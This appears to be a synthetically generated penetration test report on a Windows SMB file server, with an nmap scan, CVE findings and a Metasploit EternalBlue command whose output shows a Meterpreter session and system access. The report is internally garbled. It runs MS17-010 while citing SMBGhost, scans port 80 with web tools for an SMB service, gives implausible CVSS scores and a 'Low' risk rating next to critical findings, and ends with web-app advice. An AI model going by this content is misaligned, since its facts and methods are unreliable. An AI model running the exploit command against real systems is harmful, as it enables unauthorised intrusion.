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Synthetic_PenTest_Reports

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3. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
Next Steps:
- Address critical vulnerabilities within 24 hours
- Remediate high risk findings within 7 days
- Schedule retesting after fixes are implemented
- Conduct developer security training focusing on OWASP Top 10
--- END REPORT ---
=== Automated Penetration Test Report ===
Test ID: PT-2025-05-11-0002
Date: 2025-05-11 19:07:18
Tester: mchen
Organization: SecureNet Solutions
Confidentiality: STRICTLY CONFIDENTIAL
Test Objective: execute penetration testing on the SMB file server (192.168.81.54)
Scope: Internal security assessment
Rules of Engagement: Standard
=== Discovery Phase ===
Tester: nmap -sV -O --script=banner -p445,139 192.168.81.54
Tool Output:
Starting Nmap 7.92 at 2025-05-11 19:07:18
Nmap scan report for 192.168.81.54
Host is up (0.42s latency).
MAC Address: 98:8E:72:BF:F5:AB (Cisco)
445/tcp open microsoft-ds unknown
139/tcp open microsoft-ds unknown
OS details: Windows Server 2016
OS CPE: cpe:/o:microsoft:windows_server_2016:-
Network Distance: 3 hops
Service Info: Hostname: smb-file-server-01
Nmap done: 1 IP address (1 host up) scanned in 7 seconds
=== Vulnerability Assessment ===
Tools used:
- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection
- Burp Suite: Manual testing, session analysis, and business logic flaw identification
- Nmap scripts: Service enumeration and vulnerability verification
- Metasploit: Exploit verification and proof-of-concept testing
## Vulnerability 1: CVE-2021-36942 (Windows SMB Security Feature Bypass)
CVE: CVE-2021-36942
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6)
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
Test Method: nmap --script vuln -p80 192.168.81.54
Result:
Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile.
Remediation: See vendor documentation
## Vulnerability 2: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE)
CVE: CVE-2020-0796
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5)
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
Test Method: nmap --script vuln -p80 192.168.81.54
Result:
Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile.
Remediation: See vendor documentation
=== Exploitation Phase ===
Tool: Metasploit Framework 6.1
Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.81.54; set RPORT 445; exploit"
Output:
[*] Exploiting known vulnerabilities:
- CVE-2020-0796 (CVE-2020-0796)
- CVE-2021-36942 (CVE-2021-36942)
[*] Started reverse TCP handler on port 445
[*] Sending payload...
[*] Sending stage (354 bytes)
[*] Meterpreter session 8 opened
[*] Session established
[*] Gained system access
[*] Connected to 192.168.81.54
[*] Post-exploitation modules available:
- hashdump
- migrate
- persistence
=== Final Assessment ===
Overall Risk Rating: Low
Confidence Level: Low
Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation
Key Findings:
- 4 critical vulnerabilities identified
- 2 high risk issues found
- System configuration needs hardening
Recommendations:
1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring.
2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.